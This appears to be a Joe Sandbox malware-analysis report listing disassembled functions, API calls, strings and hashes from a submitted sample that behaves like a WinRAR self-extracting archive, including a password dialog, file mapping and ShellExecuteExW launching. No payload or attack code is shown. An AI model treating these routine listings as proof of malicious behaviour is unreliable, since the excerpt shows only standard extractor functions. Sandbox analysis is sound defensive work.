Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: 346948d6655ab3d53217b4f871be245a80085708e0eb0ac520f6eba8a6d94acd
Instruction ID: d074d2097bfc162fc37d293830e50c39ea587cdb2e630029a3045bd191c51866
Opcode Fuzzy Hash: 346948d6655ab3d53217b4f871be245a80085708e0eb0ac520f6eba8a6d94acd
Instruction Fuzzy Hash: BA01F5671043217ADA306B6DAC47D6FA7BCEFD5770B40442AF844D6082EA30D850C2A1

Uniqueness

Uniqueness Score: -1.00%

Function 00A3EEF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(0001046C), ref: 00A3EF2A
DialogBoxParamW.USER32(GETPASSWORD1,0001046C,00A3C460,?), ref: 00A3EF65

Strings

GETPASSWORD1, xrefs: 00A3EF5A

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1
API String ID: 3157717868-3292211884
Opcode ID: 863d9c98ac6dae7def033f48a23634f07e53105cafcacbeccb4bcf2f326f5097
Instruction ID: f69b7586e51d884f0b8c34ee1a96cd5dfcf6fa2d12634f1ab307097216a68142
Opcode Fuzzy Hash: 863d9c98ac6dae7def033f48a23634f07e53105cafcacbeccb4bcf2f326f5097
Instruction Fuzzy Hash: 9011E5356452A47FDB11DBB8AC16FEA37A8BB05741F148121F845A20D1CAF0AC85DF72

Uniqueness

Uniqueness Score: -1.00%

Function 00A3233E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00A32480,?,00000000,00000000), ref: 00A32362
SetThreadPriority.KERNEL32(?,00000000), ref: 00A323A9

Part of subcall function 00A276E9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A27707

Strings

CreateThread failed, xrefs: 00A3236E

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 537529b1dc4e3a4934decdba9b7c560b04507cb25ea50a11e8dc0454c427d737
Instruction ID: e24a904c29d82e3f5c37e053a6cbcd7260543e075c80b0d629594ddc4087a95d
Opcode Fuzzy Hash: 537529b1dc4e3a4934decdba9b7c560b04507cb25ea50a11e8dc0454c427d737
Instruction Fuzzy Hash: EC01D6B63487027FD620AF64EC82F66B3A8FB44712F20053DF6469A1D0CAB1A8858720

Uniqueness

Uniqueness Score: -1.00%

Function 00A212F6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00A2F608: _swprintf.LIBCMT ref: 00A2F62E
Part of subcall function 00A2F608: _strlen.LIBCMT ref: 00A2F64F
Part of subcall function 00A2F608: SetDlgItemTextW.USER32(?,00A60274,?), ref: 00A2F6AF
Part of subcall function 00A2F608: GetWindowRect.USER32(?,?), ref: 00A2F6E9
Part of subcall function 00A2F608: GetClientRect.USER32(?,?), ref: 00A2F6F5

GetDlgItem.USER32(00000000,00003021), ref: 00A2133A
SetWindowTextW.USER32(00000000,00A545F4), ref: 00A21350

Strings

0, xrefs: 00A212F9

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 120d24353b4542800a7d7a90f819727e0c72a54b9bf4b5d5fcb36c3f69a843df
Instruction ID: e92cc92d881540042717d256948edcd0b660666fca021f4c40b7d17af6e8608a
Opcode Fuzzy Hash: 120d24353b4542800a7d7a90f819727e0c72a54b9bf4b5d5fcb36c3f69a843df
Instruction Fuzzy Hash: 20F02231000398BBDF569F68AC0CBF93BAABF24389F444134FE44484A1CB74C985EB10

Uniqueness

Uniqueness Score: -1.00%

Function 00A32303 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00A32526,?), ref: 00A32309
GetLastError.KERNEL32(?), ref: 00A32315

Part of subcall function 00A276E9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A27707

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00A3231E

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 0337fad1398f74623ca9d629e94cadcd5f790e3fac987618448fd97e4c3dbe5e
Instruction ID: 7201fb16c89aa26c50895b8b65304ff73c0ded47574fde19ea06a61e4c9face6
Opcode Fuzzy Hash: 0337fad1398f74623ca9d629e94cadcd5f790e3fac987618448fd97e4c3dbe5e
Instruction Fuzzy Hash: 16D02B3280C53033C500233C7C09D6F38147F21331FB00714F239551E0CA740A9242A1

Uniqueness

Uniqueness Score: -1.00%

Function 00A2F5BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00A2ED75,?), ref: 00A2F5C3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00A2ED75,?), ref: 00A2F5D1

Strings

RTL, xrefs: 00A2F5CB

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 09517c7fe6494cedeb00080cf8b6984228493fd93a92005952621fcdf4c87859
Instruction ID: c4cd337b8a7babc3b28e846e2907bb5062e834cf8f1c1def6d677c13c37278d2
Opcode Fuzzy Hash: 09517c7fe6494cedeb00080cf8b6984228493fd93a92005952621fcdf4c87859
Instruction Fuzzy Hash: C7C0123124535076E63067B57C0DB832EA87B0475AF150468B601DA5C0DAE9C8C58660

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: work.exePID: 7588, Parent PID: 7532COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1680
Total number of Limit Nodes:	52

Executed Functions

Function 0032F05C Relevance: 40.5, APIs: 17, Strings: 6, Instructions: 202
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00321B83: GetModuleHandleW.KERNEL32(kernel32), ref: 00321B9C
Part of subcall function 00321B83: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00321BAE
Part of subcall function 00321B83: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00321BDF

Part of subcall function 0032B65D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 0032B665

Part of subcall function 0032BD1B: OleInitialize.OLE32(00000000), ref: 0032BD34
Part of subcall function 0032BD1B: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0032BD6B
Part of subcall function 0032BD1B: SHGetMalloc.SHELL32(0035A460), ref: 0032BD75

GetCommandLineW.KERNEL32 ref: 0032F09B
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0032F0C5
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007402), ref: 0032F0D6
UnmapViewOfFile.KERNEL32(00000000), ref: 0032F127

Part of subcall function 0032ED2E: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0032ED44
Part of subcall function 0032ED2E: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0032ED80

Part of subcall function 00320752: _wcslen.LIBCMT ref: 00320776

CloseHandle.KERNEL32(00000000), ref: 0032F12E
GetModuleFileNameW.KERNEL32(00000000,00370CC0,00000800), ref: 0032F148
SetEnvironmentVariableW.KERNELBASE(sfxname,00370CC0), ref: 0032F154
GetLocalTime.KERNEL32(?), ref: 0032F15F
_swprintf.LIBCMT ref: 0032F19E
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0032F1B3
GetModuleHandleW.KERNEL32(00000000), ref: 0032F1BA
LoadIconW.USER32(00000000,00000064), ref: 0032F1D1
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001C9D0,00000000), ref: 0032F222
Sleep.KERNEL32(?), ref: 0032F250
DeleteObject.GDI32 ref: 0032F289
DeleteObject.GDI32(?), ref: 0032F299
CloseHandle.KERNEL32 ref: 0032F2DC

Strings

p05, xrefs: 0032F1E2
STARTDLG, xrefs: 0032F217
winrarsfxmappingfile.tmp, xrefs: 0032F0B9
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0032F18F
sfxname, xrefs: 0032F14F
sfxstime, xrefs: 0032F1AE

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf_wcslen
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$p05$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3014515783-634705955
Opcode ID: f797fef7e606a0a7b10f90835ba10b4efe5ca53e2dcf2e4ce64736a0660dbea7
Instruction ID: 3bc3d90bb991313550a3ccc41dafc2dbc90537a2a49fb6014d13db1e757a223b
Opcode Fuzzy Hash: f797fef7e606a0a7b10f90835ba10b4efe5ca53e2dcf2e4ce64736a0660dbea7
Instruction Fuzzy Hash: 72611A75500320AFD323ABA5FC49F6B7BECEB49745F000439F5459B2A1DB74A884CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0031BA94 Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0031B98B,000000FF,?,?), ref: 0031BABD

Part of subcall function 0031CF32: _wcslen.LIBCMT ref: 0031CF56

FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,0031B98B,000000FF,?,?), ref: 0031BAEB
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0031B98B,000000FF,?,?), ref: 0031BAF7
FindNextFileW.KERNEL32(?,?,?,?,?,?,0031B98B,000000FF,?,?), ref: 0031BB21
GetLastError.KERNEL32(?,?,?,?,0031B98B,000000FF,?,?), ref: 0031BB2D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: fb700d7706f21ac4fe34dd8249a19c03c6fc5d21969bbc444a49d6114f780d7d
Instruction ID: 65170da8c475e69a88d4f477f65d44e52f31e214ae40dd6fbbaa8295cae68eb8
Opcode Fuzzy Hash: fb700d7706f21ac4fe34dd8249a19c03c6fc5d21969bbc444a49d6114f780d7d
Instruction Fuzzy Hash: 14416F76600519ABCB2ADF64DC84AE9F3B8FB49350F1042A6E56ED7210D7346ED4CF90

Uniqueness

Uniqueness Score: -1.00%

Function 003192C6 Relevance: 4.7, APIs: 1, Strings: 1, Instructions: 1157COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 003192CB

Part of subcall function 0031D656: _wcsrchr.LIBVCRUNTIME ref: 0031D660

Part of subcall function 0031CAA0: _wcslen.LIBCMT ref: 0031CAA6

Part of subcall function 00321907: _wcslen.LIBCMT ref: 0032190D

Part of subcall function 0031B5D6: _wcslen.LIBCMT ref: 0031B5E2
Part of subcall function 0031B5D6: __aulldiv.LIBCMT ref: 0031B60E
Part of subcall function 0031B5D6: GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 0031B615
Part of subcall function 0031B5D6: _swprintf.LIBCMT ref: 0031B640
Part of subcall function 0031B5D6: _wcslen.LIBCMT ref: 0031B64A
Part of subcall function 0031B5D6: _swprintf.LIBCMT ref: 0031B6A0
Part of subcall function 0031B5D6: _wcslen.LIBCMT ref: 0031B6AA

Part of subcall function 00314727: __EH_prolog.LIBCMT ref: 0031472C

Part of subcall function 0031A212: __EH_prolog.LIBCMT ref: 0031A217

Part of subcall function 0031B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0031B5B5,?,?,?,0031B405,?,00000001,00000000,?,?), ref: 0031B8FA
Part of subcall function 0031B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0031B5B5,?,?,?,0031B405,?,00000001,00000000,?,?), ref: 0031B92B

Strings

__tmp_reference_source_, xrefs: 00319596

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen$H_prolog$AttributesFile_swprintf$CurrentProcess__aulldiv_wcsrchr
String ID: __tmp_reference_source_
API String ID: 70197177-685763994
Opcode ID: 10b350965f5216183548c791254454979db8a051e4ea07f7605dc5a43618ea50
Instruction ID: 6ba3fd11ed12f8873810c9064d72896a4f6ff933e93243f44253341c58b03a69
Opcode Fuzzy Hash: 10b350965f5216183548c791254454979db8a051e4ea07f7605dc5a43618ea50
Instruction Fuzzy Hash: B7A2D871904245AEDF1FDF64C895BE9BBB9BF0D300F0941BAE8499B182D73059C9CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 003391B0 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00339186,00000000,0034D570,0000000C,003392DD,00000000,00000002,00000000), ref: 003391D1
TerminateProcess.KERNEL32(00000000,?,00339186,00000000,0034D570,0000000C,003392DD,00000000,00000002,00000000), ref: 003391D8
ExitProcess.KERNEL32 ref: 003391EA

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 29dc8d89e28a12efef0c6f559481b0ddc057c0b2b46f22b169b7eccfbd90312d
Instruction ID: c9f88917da05692ca3c933d0679b08ecc32989fe6d24e06c2acc455718250e4e
Opcode Fuzzy Hash: 29dc8d89e28a12efef0c6f559481b0ddc057c0b2b46f22b169b7eccfbd90312d
Instruction Fuzzy Hash: 92E04639000508EFCF236F60DD88B593B2EEB41342F010424F9089E121CB75ED92CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0032C9D0 Relevance: 104.0, APIs: 49, Strings: 10, Instructions: 734windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0032C9D5

Part of subcall function 003112F6: GetDlgItem.USER32(00000000,00003021), ref: 0031133A
Part of subcall function 003112F6: SetWindowTextW.USER32(00000000,003445F4), ref: 00311350

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0032CAC1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0032CADF
IsDialogMessageW.USER32(?,?), ref: 0032CAF2
TranslateMessage.USER32(?), ref: 0032CB00
DispatchMessageW.USER32(?), ref: 0032CB0A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 0032CB2D
EndDialog.USER32(?,00000001), ref: 0032CB50
GetDlgItem.USER32(?,00000068), ref: 0032CB73
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0032CB8E
SendMessageW.USER32(00000000,000000C2,00000000,003445F4), ref: 0032CBA1

Part of subcall function 0032E598: _wcslen.LIBCMT ref: 0032E5C2

SetFocus.USER32(00000000), ref: 0032CBA8
_swprintf.LIBCMT ref: 0032CC07

Part of subcall function 00314A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00314A33

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 0032CC6A
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 0032CC92
GetTickCount.KERNEL32 ref: 0032CCB0
_swprintf.LIBCMT ref: 0032CCC8
GetLastError.KERNEL32(?,00000011), ref: 0032CCFA
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 0032CD4D
_swprintf.LIBCMT ref: 0032CD84
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007402,winrarsfxmappingfile.tmp), ref: 0032CDD8
GetCommandLineW.KERNEL32 ref: 0032CDEE
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,00361482,00000400,00000001,00000001), ref: 0032CE45
ShellExecuteExW.SHELL32(0000003C), ref: 0032CE6D
WaitForInputIdle.USER32(?,00002710), ref: 0032CEA1
Sleep.KERNEL32(00000064), ref: 0032CEB5
UnmapViewOfFile.KERNEL32(?,?,0000421C,00361482,00000400), ref: 0032CEDE
CloseHandle.KERNEL32(00000000), ref: 0032CEE7
_swprintf.LIBCMT ref: 0032CF1A
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0032CF79
SetDlgItemTextW.USER32(?,00000065,003445F4), ref: 0032CF90
GetDlgItem.USER32(?,00000065), ref: 0032CF99
GetWindowLongW.USER32(00000000,000000F0), ref: 0032CFA8
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0032CFB7
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0032D064
_wcslen.LIBCMT ref: 0032D0BA
_swprintf.LIBCMT ref: 0032D0E4
SendMessageW.USER32(?,00000080,00000001,?), ref: 0032D12E
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 0032D148
GetDlgItem.USER32(?,00000068), ref: 0032D151
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 0032D167
GetDlgItem.USER32(?,00000066), ref: 0032D181
SetWindowTextW.USER32(00000000,0036389A), ref: 0032D1A3
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 0032D203
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0032D216
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001C7B0,00000000,?), ref: 0032D2B9
EnableWindow.USER32(00000000,00000000), ref: 0032D393
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 0032D3D5

Part of subcall function 0032D884: __EH_prolog.LIBCMT ref: 0032D889

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0032D3F9

Strings

<, xrefs: 0032CD8C
-el -s2 "-d%s" "-sp%s", xrefs: 0032CD73
__tmp_rar_sfx_access_check_%u, xrefs: 0032CCB7
LICENSEDLG, xrefs: 0032D2AE
%s, xrefs: 0032D0D4
STARTDLG, xrefs: 0032C9F1
lb4, xrefs: 0032CDC4
@, xrefs: 0032CD99
winrarsfxmappingfile.tmp, xrefs: 0032CDAE
"%s"%s, xrefs: 0032CF09

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Item$MessageText$Send$Window_swprintf$File$DialogErrorLast$H_prologLongView_wcslen$CloseCommandCountCreateDispatchEnableExecuteFocusHandleIdleInputLineMappingModuleNameParamShellSleepTickTranslateUnmapWait__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$lb4$winrarsfxmappingfile.tmp
API String ID: 3103142498-803204324
Opcode ID: 61a99464e575964e3b8b6d795e1300070900edd3019efbad14ee4775acb745c6
Instruction ID: b75881717157ab94054eeeafd02334ec97c215546675ba61cb8a3be52316292d
Opcode Fuzzy Hash: 61a99464e575964e3b8b6d795e1300070900edd3019efbad14ee4775acb745c6
Instruction Fuzzy Hash: 2342E871940364BEEB239BB4FC4AFFE77ACAB01701F044154F644AA1E2CBB45985CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00321B83 Relevance: 100.1, APIs: 23, Strings: 34, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00321B9C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00321BAE
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00321BDF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00321E89
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00321EA3
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00321EB3
ReadFile.KERNEL32(00000000,?,00007FFE,$M4,00000000), ref: 00321ED1
CloseHandle.KERNEL32(00000000), ref: 00321F29
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00321F3E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,$M4,?,00000000,?,00000800), ref: 00321F92
GetFileAttributesW.KERNELBASE(?,?,$M4,00000800,?,00000000,?,00000800), ref: 00321FBC
GetFileAttributesW.KERNEL32(?,?,M4,00000800), ref: 00321FF8

Part of subcall function 00321B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00321B56
Part of subcall function 00321B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0032063A,Crypt32.dll,00000000,003206B4,00000200,?,00320697,00000000,00000000,?), ref: 00321B78

_swprintf.LIBCMT ref: 0032206A
